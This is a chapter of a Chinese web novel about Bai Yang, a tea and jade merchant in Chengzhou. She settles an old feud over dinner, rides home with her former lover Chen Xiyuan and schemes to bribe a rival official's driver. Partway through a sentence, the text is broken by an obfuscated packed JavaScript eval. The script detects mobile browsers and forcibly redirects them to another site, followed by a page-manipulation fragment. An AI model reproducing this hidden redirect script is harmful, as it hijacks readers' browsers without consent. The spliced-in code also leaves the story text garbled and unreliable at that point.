李善文的语气还算和善:“白老板,这不是前几天冒犯了您,特地过来想找您请酒谢罪了吗?” 她接着笑:“您这也太客气了,小妹我都没放在心上,哪用您破费什么?” “不不不,该请还是得请,就这么说定了啊,初六那天,风月山庄,咱们不见不散啊,就这么着。” 他说完,不给她反驳的机会,直接撂了电话。 白杨捏着手机在手里转了两圈,想着些事。李善文这次估摸着真的是来请酒谢罪的,也多半是看在陈西原的面子上,怕她靠了窑反过头来整他。 这人是不了解陈西原,以为他是什么不爱江山爱美人的英雄好汉了。可白杨知道,他这人就是块光溜溜的石头,能不沾手的绝不沾手,谁也别想把他踢到浑水里面。 也就是说,他不撒手,谁也别想从他这儿讨到什么便宜。 应了也好,正能借着陈二哥的光狐假虎威一阵子,也好把他唬住。 这算是白杨第二次到风月山庄,第一次来已经是几年前了,那次给她的印象实在不怎么好。 江迎把车停好,问她:“老板,还用我陪您进去吗?” 她摆摆手拒绝了:“用不着,姓李的有分寸,你在这儿等我就好。” 她一落脚,就被侍应生带着领进去。风月山庄的性质和两山青差不多,尤其是在澄州这地界,生意做大了,没有单枪匹马走独木桥的道理,谁不盼着把路铺宽。 这儿一般都不对外开放,是背后老板用来款待人的,私密性很强。 白杨转了两条路,绕过一条荷花池,到一座楼前,跟着侍应生上了二楼。 到最里间,侍应生帮她打开门,白杨早在脸上挂好的笑容有些僵住了,房间里不止李善文一个人,还有施施然坐在那儿的陈西原。 原来她不是狐假虎威的那只狐,而是抛砖引玉的那块砖。给她请罪是假,扯着她的旗子约见陈西原是真。 陈西原侧眼看过来,脸上凝着些笑意:“杨杨,过来坐。” 李善文在那边冲她挤眉弄眼的,她明了什么意思,也不拆穿:“李老板,你说说你,给我时间都说岔了,怎么反倒让陈先生等起我来了?” “是我来早了。”还没等白杨说话,陈西原就开了口,“这不是急着见你,你也别怪罪李老板。” 白杨状似娇嗔地瞪他一眼,转头坐在了和他相邻的座椅上。心底却冷笑连连,想着,要是陈二落魄了,最后走投无路散尽家财,去当个演员也能混口饭吃。 “白老板,陈先生,小弟我现在这儿敬你们一杯,前两天无意冒犯白老板,实在是不好意思,您大人不记小人过,别跟我一般见识。” 这姿态实在是低到头了,再往下低,可就要埋在土里面去。 白杨起身接过他的手中杯,浅笑嫣然:“李老板,你这话可就说重了,是要折煞我的。既然话说到这份上,我干脆也就挑明了,您做地产,做餐饮,我做茶和玉的买卖,吃点残羹冷炙,跟您没得比,咱俩八竿子打不着一起,这些年无非也就是点私人恩怨。当年小妹不懂事,开罪了您,今天趁着陈先生在这儿,我也托一下他的大,跟您求个和?” 说完这些话,白杨一口把杯子里的酒一饮而尽,酒杯倒扣,一滴不存。 李善文也没想到白杨会再风月山庄里说起这桩事,哪怕陈先生这座大佛戳在这儿,她也没端着,语气里比他还要低,白酒一杯干了,这是十分的诚意了。 陈西原往后倚了倚,靠在椅背上,悠哉悠哉往烟上套了个玉烟嘴,点燃烟慢抽。他一个字不吐,也不靠边,这是抱着看戏的态度了。 李善文被架上去,更何况这回也是托了白杨的情请来的陈西原,她没计较,还借着机会求和。于情于理,这杯酒他都得接下来。 “白老板这是说得哪里话,以前也是我做的不对,我这年纪大了大了,度量反倒不如后辈了。” 两人相视一笑,泯了恩仇。 陈西原这才适时开口,眉目低垂,状似漫不经心:“白杨年轻,有什么做的不周到的地方惹着李老板了,您跟我讲,别跟她计较。” 李善文的目光在两人身上不着痕迹地转了转,急忙应下,说两句客套话。 这顿饭吃的顺畅,李善文在陈西原面前露了脸,白杨也跟人过了仇怨,下一步,就是要开始放暗箭了。 李善文拿她背主的事威胁,陈西原暗地里面算计,白杨一笔一划都记在账上。 更何况,她不能留把柄让别人握着。 吃过饭,天上又开始下起了雨,这幢小楼就在荷花池旁,一搭眼就能瞧见那池子。现在已近冬季,不是荷花盛开的季节,只能瞥见一池冷水,上头飘摇这几棵枯枝败叶。 白杨和陈西原一同离开,走在廊上,谢绝了李善文的相送。 “六年,荷花儿开了六回。”陈西原往外看了看,低声笑:“杨杨,走了这么长时间,你也舍得。” 白杨一回头,被他牵住了手。 “陈西原,这话从你嘴里说出来,挺不地道的。”她嗤笑一声,另一只手掸了掸袖绾上的尘埃,有几滴白酒落在了上面,隐隐透着些辛辣的滋味。“你是什么样的人,我六年前就清楚,何必再说这些?” 陈西原笑了笑,没有言语。更像是默认。 他没有开车,很自然就上了白杨的车。 江迎疑惑地往后看了一眼,认出后面的那个男人,就是那夜别他们车的人。那天晚上并没看清,这人和他想象的有些出入。 主要是,没成想长了这么一张脸。顶着副儒雅随和的脸,能干出别人车的事。 “江迎,先去白马公馆,送陈先生。”她淡声道,没有要跟他继续相处的打算。 陈西原没有强求什么,伸手替她捋顺了后颈的头发,封闭的空间内,来回萦绕着她的发香,很淡,像是晚香玉的味道,也像是酒。醉人。 晚香玉的花语是危险的爱情,夜晚浓烈的香气会让人呼吸困难。他觉得很衬她,艳艳红唇扬起一笑,就这么让人甘心情愿地被她索命。 “你平常用什么香水?” 白杨摇摇头,闭起了双眼枕在后座上,对他轻言:“我不怎么用香水,这是家里烧的香饵的味道。安神的。” “和李善文什么恩怨?” 白杨糊弄敷衍过去,无意多说:“生意场上,谁没点小磕小碰的,不碍事。” 话说到这里结束,白杨喝了点酒,头昏昏沉沉的,靠在椅背上睡了过去。陈西原侧头看她,俯身过去,轻吻了吻她的发丝。这个吻太薄了,比过耳的东风还要薄,抓不住,看不到。 他随后把她轻放到自己腿上,手掌盖住她的脸颊,让她睡得更安稳。 这段路途并不颠簸,她的睫毛轻颤,似乎坠落着一些更晶莹的东西。 很久以后她回首自己的人生,恍惚发现,这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283160|151934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生颠沛流离多半,生命里所有的安稳,其实都是他带给她的。 可人不是上帝,谁都被困在局中,所见之处只有方寸。 一直到他离开,白杨才发现,她是眷恋他的温度的,更眷恋的,是他这个人。她慢慢从座椅上直起腰,睁开眼,车里点了一根烟。 江迎见她醒了,伸手递过去一只保温杯。 等她接过,还是忍不住问:“老板,这个陈先生什么来头啊?怎么连高先生都叫他二哥?” 白杨仔细想了想,问他:“《红楼梦》看过吗?” “看过一点。” “上一个被叫二哥的,是《红楼梦》里的贾宝玉。”她扯起唇角一笑:“我们这位陈二公子,别说在澄州,就是在整个北京城,都是位贾宝玉。” 江迎没怎么听明白。 她抿嘴笑笑:“贾不假,白玉为堂金作马啊。” 他是贾宝玉,可她却不是林妹妹。 如果要说的话,她得是探春,如判词里说:从今分两地,各自保平安。奴去也,莫牵连! 白杨抽着烟,脑子里清醒了不少。她得开始为自己谋划谋划前程了。 她并不是系统的人,不知道风波什么时候过来什么时候停歇,只能尽早下手,让高先生沾上点洗也洗不干净的泥点子。 高望津这个人从来滴水不漏,和他们这些商人往来明面上都只是在正常范围之内交涉。唯独身边两个人,一个高太太,一个司机,就这两个漏水口。 高太太那边动手脚太明显,那么只有司机。 她往前抬头,问江迎:“高先生那个司机还联系着吗?” 江迎说:“当时给了点钱打发了,应该够他花一段时间的。” 白杨扯了扯嘴角:“找人盯着点,查查他家里什么情况,回头告诉我。” “上次就查了,老婆带着孩子和他离婚了,他一个人吃饱全家不饿,平常给孩子打点生活费。没别的,就是好赌。”江迎说道:“不过赌瘾不算特别大,就是留不住钱。” 她笑了笑:“找个人领着,把钱用李善文的名义送过去,把他的胃口喂大点,顺便从他嘴里撬出来点高先生的事。” 他有点犹豫:“老板,这不太好吧。” “没什么不好的,李善文当时搞我,也是往死里弄的,也就是——其人之道还治其人之身。”白杨又抽了一口烟,不知不觉间,这支烟已近末尾,她用手捻灭了烟头,打开窗扔到路边的垃圾桶里。“澄州和别的地方不一样,这地方江湖气重,明着下手暗着捅刀子的都有,别人不流血,流血的就得是我。” 这些年在澄州打拼,明枪暗箭都躲过去了,没躲过去的,扎在身上留了个口子,肉也疼了血也放了,成了块疤,牢牢记在心里。这世道没教会她什么,就是把那点不该有的自尊,怜悯,善心,一片片给剐了个干净。 和李善文的恩怨不是一丝半点的,她心里面记着,不会说翻过去就翻过去,更何况,他的存在,也碍了她不少路。 要动手,要么就让人发觉不出来是她做的,要么就让他永无翻身的可能,彻底斩草除根。 最好,收拾李善文的时候还能往陈西原脸上抽一巴掌。但是可惜,谁都有把柄,唯独这个陈西原,清心寡欲,六根清净,不出家都可惜了。 白杨咬了咬舌尖,攫取上面烟丝的余韵,思索起下一步棋的行路。 她的脑海里逐渐浮现出了一个人的名字,苏幸。 窗外雨丝连绵,带着冬日的嶙峋寒意,白杨抚摸上自己的膝盖,那里开始有些隐隐作痛了。